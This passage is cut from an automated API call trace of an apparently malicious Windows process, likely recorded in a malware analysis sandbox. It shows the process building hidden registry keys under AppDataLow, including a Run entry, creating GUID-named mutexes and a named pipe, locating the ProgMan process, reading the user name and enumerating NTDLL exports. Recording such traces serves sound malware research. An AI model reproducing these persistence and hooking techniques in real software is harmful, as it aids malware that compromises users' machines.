returned 3 [0079.079] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x4f) returned 0x241d590 [0079.079] lstrcpyA (in: lpString1=0x241d590, lpString2="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" [0079.079] lstrcatA (in: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", lpString2="\\Vr" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Vr") returned="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Vr" [0079.079] lstrlenA (lpString="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned 75 [0079.079] lstrlenA (lpString="\\Sfi") returned 4 [0079.079] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x50) returned 0x241d5f0 [0079.079] lstrcpyA (in: lpString1=0x241d5f0, lpString2="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" [0079.079] lstrcatA (in: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", lpString2="\\Sfi" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Sfi") returned="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Sfi" [0079.079] lstrlenA (lpString="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned 75 [0079.079] lstrlenA (lpString="\\Run") returned 4 [0079.079] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x50) returned 0x241d650 [0079.079] lstrcpyA (in: lpString1=0x241d650, lpString2="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" [0079.079] lstrcatA (in: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", lpString2="\\Run" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Run") returned="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Run" [0079.079] lstrlenA (lpString="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned 75 [0079.079] lstrlenA (lpString="\\Config") returned 7 [0079.079] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x53) returned 0x241d6b0 [0079.079] lstrcpyA (in: lpString1=0x241d6b0, lpString2="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" [0079.079] lstrcatA (in: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", lpString2="\\Config" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Config") returned="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Config" [0079.079] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x27) returned 0x241d500 [0079.079] wsprintfA (in: param_1=0x241d500, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{7F853548-D254-09EE-D423-264D4807BAD1}") returned 38 [0079.079] lstrlenA (lpString="Local\\") returned 6 [0079.079] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x2d) returned 0x241d710 [0079.079] lstrcpyA (in: lpString1=0x241d710, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0079.080] lstrcatA (in: lpString1="Local\\", lpString2="{7F853548-D254-09EE-D423-264D4807BAD1}" | out: lpString1="Local\\{7F853548-D254-09EE-D423-264D4807BAD1}") returned="Local\\{7F853548-D254-09EE-D423-264D4807BAD1}" [0079.080] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x241d500 | out: hHeap=0x2020000) returned 1 [0079.080] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x27) returned 0x241d500 [0079.080] wsprintfA (in: param_1=0x241d500, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{FCF9E212-2B0D-8EC0-95F0-8FA2992433F6}") returned 38 [0079.080] lstrlenA (lpString="Local\\") returned 6 [0079.080] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x2d) returned 0x241d750 [0079.080] lstrcpyA (in: lpString1=0x241d750, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0079.080] lstrcatA (in: lpString1="Local\\", lpString2="{FCF9E212-2B0D-8EC0-95F0-8FA2992433F6}" | out: lpString1="Local\\{FCF9E212-2B0D-8EC0-95F0-8FA2992433F6}") returned="Local\\{FCF9E212-2B0D-8EC0-95F0-8FA2992433F6}" [0079.080] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x241d500 | out: hHeap=0x2020000) returned 1 [0079.080] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x27) returned 0x241d500 [0079.080] wsprintfA (in: param_1=0x241d500, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{DD80286F-988C-17A7-8A61-4C3B5E25409F}") returned 38 [0079.080] lstrlenA (lpString="Local\\") returned 6 [0079.080] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x2d) returned 0x241d790 [0079.080] lstrcpyA (in: lpString1=0x241d790, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0079.080] lstrcatA (in: lpString1="Local\\", lpString2="{DD80286F-988C-17A7-8A61-4C3B5E25409F}" | out: lpString1="Local\\{DD80286F-988C-17A7-8A61-4C3B5E25409F}") returned="Local\\{DD80286F-988C-17A7-8A61-4C3B5E25409F}" [0079.080] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x241d500 | out: hHeap=0x2020000) returned 1 [0079.080] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x27) returned 0x241d500 [0079.080] wsprintfA (in: param_1=0x241d500, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{722AD44B-2987-7426-43C6-6DE8275AF19C}") returned 38 [0079.080] lstrlenA (lpString="Local\\") returned 6 [0079.080] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x2d) returned 0x241d7d0 [0079.080] lstrcpyA (in: lpString1=0x241d7d0, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0079.080] lstrcatA (in: lpString1="Local\\", lpString2="{722AD44B-2987-7426-43C6-6DE8275AF19C}" | out: lpString1="Local\\{722AD44B-2987-7426-43C6-6DE8275AF19C}") returned="Local\\{722AD44B-2987-7426-43C6-6DE8275AF19C}" [0079.080] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x241d500 | out: hHeap=0x2020000) returned 1 [0079.080] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x27) returned 0x241d500 [0079.080] wsprintfA (in: param_1=0x241d500, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{4B67ACB1-2E14-B54D-90AF-42B9C45396FD}") returned 38 [0079.080] lstrlenA (lpString="Local\\") returned 6 [0079.080] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x2d) returned 0x241d810 [0079.080] lstrcpyA (in: lpString1=0x241d810, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0079.080] lstrcatA (in: lpString1="Local\\", lpString2="{4B67ACB1-2E14-B54D-90AF-42B9C45396FD}" | out: lpString1="Local\\{4B67ACB1-2E14-B54D-90AF-42B9C45396FD}") returned="Local\\{4B67ACB1-2E14-B54D-90AF-42B9C45396FD}" [0079.080] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x241d500 | out: hHeap=0x2020000) returned 1 [0079.080] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x27) returned 0x241d500 [0079.080] wsprintfA (in: param_1=0x241d500, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{38D59AEE-3717-2A0B-81EC-5BFE45E0BF12}") returned 38 [0079.080] lstrlenA (lpString="Local\\") returned 6 [0079.080] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x2d) returned 0x241d850 [0079.080] lstrcpyA (in: lpString1=0x241d850, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0079.080] lstrcatA (in: lpString1="Local\\", lpString2="{38D59AEE-3717-2A0B-81EC-5BFE45E0BF12}" | out: lpString1="Local\\{38D59AEE-3717-2A0B-81EC-5BFE45E0BF12}") returned="Local\\{38D59AEE-3717-2A0B-81EC-5BFE45E0BF12}" [0079.080] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x241d500 | out: hHeap=0x2020000) returned 1 [0079.080] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x27) returned 0x241d500 [0079.080] wsprintfA (in: param_1=0x241d500, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{49B0014D-14FD-63C5-668D-8847FA113C6B}") returned 38 [0079.080] lstrlenA (lpString="Local\\") returned 6 [0079.081] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x2d) returned 0x241d890 [0079.081] lstrcpyA (in: lpString1=0x241d890, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0079.081] lstrcatA (in: lpString1="Local\\", lpString2="{49B0014D-14FD-63C5-668D-8847FA113C6B}" | out: lpString1="Local\\{49B0014D-14FD-63C5-668D-8847FA113C6B}") returned="Local\\{49B0014D-14FD-63C5-668D-8847FA113C6B}" [0079.081] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x241d500 | out: hHeap=0x2020000) returned 1 [0079.081] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x27) returned 0x241d500 [0079.081] wsprintfA (in: param_1=0x241d500, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{CE377949-D5DC-3008-CFE2-D96473361DD8}") returned 38 [0079.081] lstrlenA (lpString="Local\\") returned 6 [0079.081] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x2d) returned 0x241d8d0 [0079.081] lstrcpyA (in: lpString1=0x241d8d0, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0079.081] lstrcatA (in: lpString1="Local\\", lpString2="{CE377949-D5DC-3008-CFE2-D96473361DD8}" | out: lpString1="Local\\{CE377949-D5DC-3008-CFE2-D96473361DD8}") returned="Local\\{CE377949-D5DC-3008-CFE2-D96473361DD8}" [0079.081] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x241d500 | out: hHeap=0x2020000) returned 1 [0079.081] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x27) returned 0x241d500 [0079.081] wsprintfA (in: param_1=0x241d500, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{5797B6E3-CA4C-A155-8C7B-9E6580DFB269}") returned 38 [0079.081] lstrlenA (lpString="\\\\.\\pipe\\") returned 9 [0079.081] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x30) returned 0x241d910 [0079.081] lstrcpyA (in: lpString1=0x241d910, lpString2="\\\\.\\pipe\\" | out: lpString1="\\\\.\\pipe\\") returned="\\\\.\\pipe\\" [0079.081] lstrcatA (in: lpString1="\\\\.\\pipe\\", lpString2="{5797B6E3-CA4C-A155-8C7B-9E6580DFB269}" | out: lpString1="\\\\.\\pipe\\{5797B6E3-CA4C-A155-8C7B-9E6580DFB269}") returned="\\\\.\\pipe\\{5797B6E3-CA4C-A155-8C7B-9E6580DFB269}" [0079.081] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x241d500 | out: hHeap=0x2020000) returned 1 [0079.081] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x27) returned 0x241d500 [0079.081] wsprintfA (in: param_1=0x241d500, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned 38 [0079.081] lstrlenA (lpString="%APPDATA%\\Microsoft\\") returned 20 [0079.081] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x3b) returned 0x241d950 [0079.081] lstrcpyA (in: lpString1=0x241d950, lpString2="%APPDATA%\\Microsoft\\" | out: lpString1="%APPDATA%\\Microsoft\\") returned="%APPDATA%\\Microsoft\\" [0079.081] lstrcatA (in: lpString1="%APPDATA%\\Microsoft\\", lpString2="{B423FFBF-837B-066B-AD28-679A31DC8B6E}" | out: lpString1="%APPDATA%\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned="%APPDATA%\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" [0079.081] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x241d500 | out: hHeap=0x2020000) returned 1 [0079.081] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x27) returned 0x241d500 [0079.081] wsprintfA (in: param_1=0x241d500, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}") returned 38 [0079.081] lstrlenA (lpString="%APPDATA%\\Microsoft\\") returned 20 [0079.081] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x3b) returned 0x241d9a0 [0079.081] lstrcpyA (in: lpString1=0x241d9a0, lpString2="%APPDATA%\\Microsoft\\" | out: lpString1="%APPDATA%\\Microsoft\\") returned="%APPDATA%\\Microsoft\\" [0079.081] lstrcatA (in: lpString1="%APPDATA%\\Microsoft\\", lpString2="{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}" | out: lpString1="%APPDATA%\\Microsoft\\{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}") returned="%APPDATA%\\Microsoft\\{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}" [0079.081] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x241d500 | out: hHeap=0x2020000) returned 1 [0079.081] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x27) returned 0x241d500 [0079.081] wsprintfA (in: param_1=0x241d500, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{6A5E21FF-C1FA-2C95-9B3E-8520FF528954}") returned 38 [0079.081] lstrlenA (lpString="%APPDATA%\\Microsoft\\") returned 20 [0079.081] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x3b) returned 0x241d9f0 [0079.081] lstrcpyA (in: lpString1=0x241d9f0, lpString2="%APPDATA%\\Microsoft\\" | out: lpString1="%APPDATA%\\Microsoft\\") returned="%APPDATA%\\Microsoft\\" [0079.081] lstrcatA (in: lpString1="%APPDATA%\\Microsoft\\", lpString2="{6A5E21FF-C1FA-2C95-9B3E-8520FF528954}" | out: lpString1="%APPDATA%\\Microsoft\\{6A5E21FF-C1FA-2C95-9B3E-8520FF528954}") returned="%APPDATA%\\Microsoft\\{6A5E21FF-C1FA-2C95-9B3E-8520FF528954}" [0079.082] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x241d500 | out: hHeap=0x2020000) returned 1 [0079.082] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x27) returned 0x241d500 [0079.082] wsprintfA (in: param_1=0x241d500, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{A3415127-A63A-CD11-C887-3A517CAB0E15}") returned 38 [0079.082] lstrlenA (lpString="Local\\") returned 6 [0079.082] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x2d) returned 0x241da40 [0079.082] lstrcpyA (in: lpString1=0x241da40, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0079.082] lstrcatA (in: lpString1="Local\\", lpString2="{A3415127-A63A-CD11-C887-3A517CAB0E15}" | out: lpString1="Local\\{A3415127-A63A-CD11-C887-3A517CAB0E15}") returned="Local\\{A3415127-A63A-CD11-C887-3A517CAB0E15}" [0079.082] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x241d500 | out: hHeap=0x2020000) returned 1 [0079.082] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x27) returned 0x241d500 [0079.082] wsprintfA (in: param_1=0x241d500, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{70017650-0FA6-225C-19A4-B3765D18970A}") returned 38 [0079.082] lstrlenA (lpString="Local\\") returned 6 [0079.082] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x2d) returned 0x241da80 [0079.082] lstrcpyA (in: lpString1=0x241da80, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0079.082] lstrcatA (in: lpString1="Local\\", lpString2="{70017650-0FA6-225C-19A4-B3765D18970A}" | out: lpString1="Local\\{70017650-0FA6-225C-19A4-B3765D18970A}") returned="Local\\{70017650-0FA6-225C-19A4-B3765D18970A}" [0079.082] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x241d500 | out: hHeap=0x2020000) returned 1 [0079.082] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x27) returned 0x241d500 [0079.082] wsprintfA (in: param_1=0x241d500, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{E12FFA4A-CC07-BBA0-DEA5-C01FF2A9F4C3}") returned 38 [0079.082] lstrlenA (lpString="Local\\") returned 6 [0079.082] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x2d) returned 0x241dac0 [0079.082] lstrcpyA (in: lpString1=0x241dac0, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0079.082] lstrcatA (in: lpString1="Local\\", lpString2="{E12FFA4A-CC07-BBA0-DEA5-C01FF2A9F4C3}" | out: lpString1="Local\\{E12FFA4A-CC07-BBA0-DEA5-C01FF2A9F4C3}") returned="Local\\{E12FFA4A-CC07-BBA0-DEA5-C01FF2A9F4C3}" [0079.082] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x241d500 | out: hHeap=0x2020000) returned 1 [0079.082] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x27) returned 0x241d500 [0079.082] wsprintfA (in: param_1=0x241d500, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{46DA6D74-EDEC-6869-A7DA-711CCBAE3510}") returned 38 [0079.082] lstrlenA (lpString="Local\\") returned 6 [0079.082] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x2d) returned 0x241db00 [0079.082] lstrcpyA (in: lpString1=0x241db00, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0079.082] lstrcatA (in: lpString1="Local\\", lpString2="{46DA6D74-EDEC-6869-A7DA-711CCBAE3510}" | out: lpString1="Local\\{46DA6D74-EDEC-6869-A7DA-711CCBAE3510}") returned="Local\\{46DA6D74-EDEC-6869-A7DA-711CCBAE3510}" [0079.082] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x241d500 | out: hHeap=0x2020000) returned 1 [0079.082] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x27) returned 0x241d500 [0079.082] wsprintfA (in: param_1=0x241d500, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{FA436005-1103-3CE1-6BCE-D530CFE2D964}") returned 38 [0079.082] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x27) returned 0x241db40 [0079.082] lstrcatA (in: lpString1="", lpString2="{FA436005-1103-3CE1-6BCE-D530CFE2D964}" | out: lpString1="{FA436005-1103-3CE1-6BCE-D530CFE2D964}") returned="{FA436005-1103-3CE1-6BCE-D530CFE2D964}" [0079.082] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x241d500 | out: hHeap=0x2020000) returned 1 [0079.082] GetModuleHandleA (lpModuleName="USER32.DLL") returned 0x76f40000 [0079.082] GetProcAddress (hModule=0x76f40000, lpProcName="GetWindowThreadProcessId") returned 0x76f50a90 [0079.083] GetProcAddress (hModule=0x76f40000, lpProcName="FindWindowA") returned 0x76f68270 [0079.083] FindWindowA (lpClassName="ProgMan", lpWindowName=0x0) returned 0x100ee [0079.083] GetWindowThreadProcessId (in: hWnd=0x100ee, lpdwProcessId=0x27ef00 | out: lpdwProcessId=0x27ef00) returned 0x45c [0079.083] lstrlenW (lpString="") returned 0 [0079.083] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0xcc [0079.083] RtlAddVectoredExceptionHandler (FirstHandler=0x0, VectoredHandler=0x1dbbe4c) returned 0x3215d0 [0079.083] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x70) returned 0x241db70 [0079.083] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="{FA436005-1103-3CE1-6BCE-D530CFE2D964}") returned 0xd4 [0079.083] GetLastError () returned 0x0 [0079.083] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x18) returned 0x241d500 [0079.083] GetModuleHandleA (lpModuleName="KERNEL32.DLL") returned 0x77040000 [0079.083] GetModuleHandleA (lpModuleName="NTDLL.DLL") returned 0x77160000 [0079.084] GetModuleHandleA (lpModuleName="kernelbase") returned 0x7fefd330000 [0079.084] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x1058) returned 0x241dbf0 [0079.084] GetProcAddress (hModule=0x7fefd710000, lpProcName="GetUserNameA") returned 0x7fefd71dc20 [0079.084] GetUserNameA (in: lpBuffer=0x0, pcbBuffer=0x27ef10 | out: lpBuffer=0x0, pcbBuffer=0x27ef10) returned 0 [0079.296] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x12) returned 0x241ec50 [0079.296] GetUserNameA (in: lpBuffer=0x241ec50, pcbBuffer=0x27ef10 | out: lpBuffer="aETAdzjz", pcbBuffer=0x27ef10) returned 1 [0079.297] GetCurrentThreadId () returned 0xbd8 [0079.297] GetProcAddress (hModule=0x76f40000, lpProcName="GetThreadDesktop") returned 0x76f5a850 [0079.297] GetThreadDesktop (dwThreadId=0xbd8) returned 0x38 [0079.297] GetProcAddress (hModule=0x76f40000, lpProcName="GetUserObjectInformationA") returned 0x76f4777c [0079.297] GetUserObjectInformationA (in: hObj=0x38, nIndex=2, pvInfo=0x0, nLength=0x0, lpnLengthNeeded=0x27ef08 | out: pvInfo=0x0, lpnLengthNeeded=0x27ef08) returned 0 [0079.297] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x10) returned 0x241ec70 [0079.297] GetUserObjectInformationA (in: hObj=0x38, nIndex=2, pvInfo=0x241ec70, nLength=0x10, lpnLengthNeeded=0x27ef08 | out: pvInfo=0x241ec70, lpnLengthNeeded=0x27ef08) returned 1 [0079.297] lstrlenA (lpString="Default") returned 7 [0079.297] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x241ec70 | out: hHeap=0x2020000) returned 1 [0079.297] GetProcAddress (hModule=0x76f40000, lpProcName="CloseDesktop") returned 0x76f4d850 [0079.297] CloseDesktop (hDesktop=0x38) returned 0 [0079.297] GetModuleHandleA (lpModuleName="NTDLL.DLL") returned 0x77160000 [0079.297] lstrlenA (lpString="A_SHAFinal") returned 10 [0079.297] lstrlenA (lpString="A_SHAInit") returned 9 [0079.297] lstrlenA (lpString="A_SHAUpdate") returned 11 [0079.297] lstrlenA (lpString="AlpcAdjustCompletionListConcurrencyCount") returned 40 [0079.297] lstrlenA (lpString="AlpcFreeCompletionListMessage") returned 29 [0079.297] lstrlenA (lpString="AlpcGetCompletionListLastMessageInformation") returned 43 [0079.297] lstrlenA (lpString="AlpcGetCompletionListMessageAttributes") returned 38 [0079.297] lstrlenA (lpString="AlpcGetHeaderSize") returned 17 [0079.298] lstrlenA (lpString="AlpcGetMessageAttribute") returned 23 [0079.298] lstrlenA (lpString="AlpcGetMessageFromCompletionList") returned 32 [0079.298] lstrlenA (lpString="AlpcGetOutstandingCompletionListMessageCount") returned 44 [0079.298] lstrlenA (lpString="AlpcInitializeMessageAttribute") returned 30 [0079.298] lstrlenA (lpString="AlpcMaxAllowedMessageLength") returned 27 [0079.298] lstrlenA (lpString="AlpcRegisterCompletionList") returned 26 [0079.298] lstrlenA (lpString="AlpcRegisterCompletionListWorkerThread") returned 38 [0079.298] lstrlenA (lpString="AlpcRundownCompletionList") returned 25 [0079.298] lstrlenA (lpString="AlpcUnregisterCompletionList") returned 28 [0079.298] lstrlenA (lpString="AlpcUnregisterCompletionListWorkerThread") returned 40 [0079.298] lstrlenA (lpString="CsrAllocateCaptureBuffer") returned 24 [0079.298] lstrlenA (lpString="CsrAllocateMessagePointer") returned 25 [0079.298] lstrlenA (lpString="CsrCaptureMessageBuffer") returned 23 [0079.298] lstrlenA (lpString="CsrCaptureMessageMultiUnicodeStringsInPlace") returned 43 [0079.298] lstrlenA (lpString="CsrCaptureMessageString") returned 23 [0079.298] lstrlenA (lpString="CsrCaptureTimeout") returned 17 [0079.298] lstrlenA (lpString="CsrClientCallServer") returned 19 [0079.298] lstrlenA (lpString="CsrClientConnectToServer") returned 24 [0079.298] lstrlenA (lpString="CsrFreeCaptureBuffer") returned 20 [0079.298] lstrlenA (lpString="CsrGetProcessId") returned 15 [0079.298] lstrlenA (lpString="CsrIdentifyAlertableThread") returned 26 [0079.298] lstrlenA (lpString="CsrSetPriorityClass") returned 19 [0079.298] lstrlenA (lpString="CsrVerifyRegion") returned 15 [0079.298] lstrlenA (lpString="DbgBreakPoint") returned 13 [0079.298] lstrlenA (lpString="DbgPrint") returned 8 [0079.298] lstrlenA (lpString="DbgPrintEx") returned 10 [0079.298] lstrlenA (lpString="DbgPrintReturnControlC") returned 22 [0079.298] lstrlenA (lpString="DbgPrompt") returned 9 [0079.298] lstrlenA (lpString="DbgQueryDebugFilterState") returned 24 [0079.298] lstrlenA (lpString="DbgSetDebugFilterState") returned 22 [0079.298] lstrlenA (lpString="DbgUiConnectToDbg") returned 17 [0079.298] lstrlenA (lpString="DbgUiContinue") returned 13 [0079.298] lstrlenA (lpString="DbgUiConvertStateChangeStructure") returned 32 [0079.298] lstrlenA (lpString="DbgUiDebugActiveProcess") returned 23 [0079.298] lstrlenA (lpString="DbgUiGetThreadDebugObject") returned 25 [0079.298] lstrlenA (lpString="DbgUiIssueRemoteBreakin") returned 23 [0079.298] lstrlenA (lpString="DbgUiRemoteBreakin") returned 18 [0079.298] lstrlenA (lpString="DbgUiSetThreadDebugObject") returned 25 [0079.298] lstrlenA (lpString="DbgUiStopDebugging") returned 18 [0079.298] lstrlenA (lpString="DbgUiWaitStateChange") returned 20 [0079.298] lstrlenA (lpString="DbgUserBreakPoint") returned 17 [0079.299] lstrlenA (lpString="EtwCreateTraceInstanceId") returned 24 [0079.299] lstrlenA (lpString="EtwDeliverDataBlock") returned 19 [0079.299] lstrlenA (lpString="EtwEnumerateProcessRegGuids") returned 27 [0079.299] lstrlenA (lpString="EtwEventActivityIdControl") returned 25 [0079.299] lstrlenA (lpString="EtwEventEnabled") returned 15 [0079.299] lstrlenA (lpString="EtwEventProviderEnabled") returned 23 [0079.299] lstrlenA (lpString="EtwEventRegister") returned 16 [0079.299] lstrlenA (lpString="EtwEventUnregister") returned 18 [0079.299] lstrlenA (lpString="EtwEventWrite") returned 13 [0079.299] lstrlenA (lpString="EtwEventWriteEndScenario") returned 24 [0079.299] lstrlenA (lpString="EtwEventWriteEx") returned 15 [0079.299] lstrlenA (lpString="EtwEventWriteFull") returned 17 [0079.299] lstrlenA (lpString="EtwEventWriteNoRegistration") returned 27 [0079.299] lstrlenA (lpString="EtwEventWriteStartScenario") returned 26 [0079.299] lstrlenA (lpString="EtwEventWriteString") returned 19 [0079.299] lstrlenA (lpString="EtwEventWriteTransfer") returned 21 [0079.299] lstrlenA (lpString="EtwGetTraceEnableFlags") returned 22 [0079.299] lstrlenA (lpString="EtwGetTraceEnableLevel") returned 22 [0079.299] lstrlenA (lpString="EtwGetTraceLoggerHandle") returned 23 [0079.299] lstrlenA (lpString="EtwLogTraceEvent") returned 16 [0079.299] lstrlenA 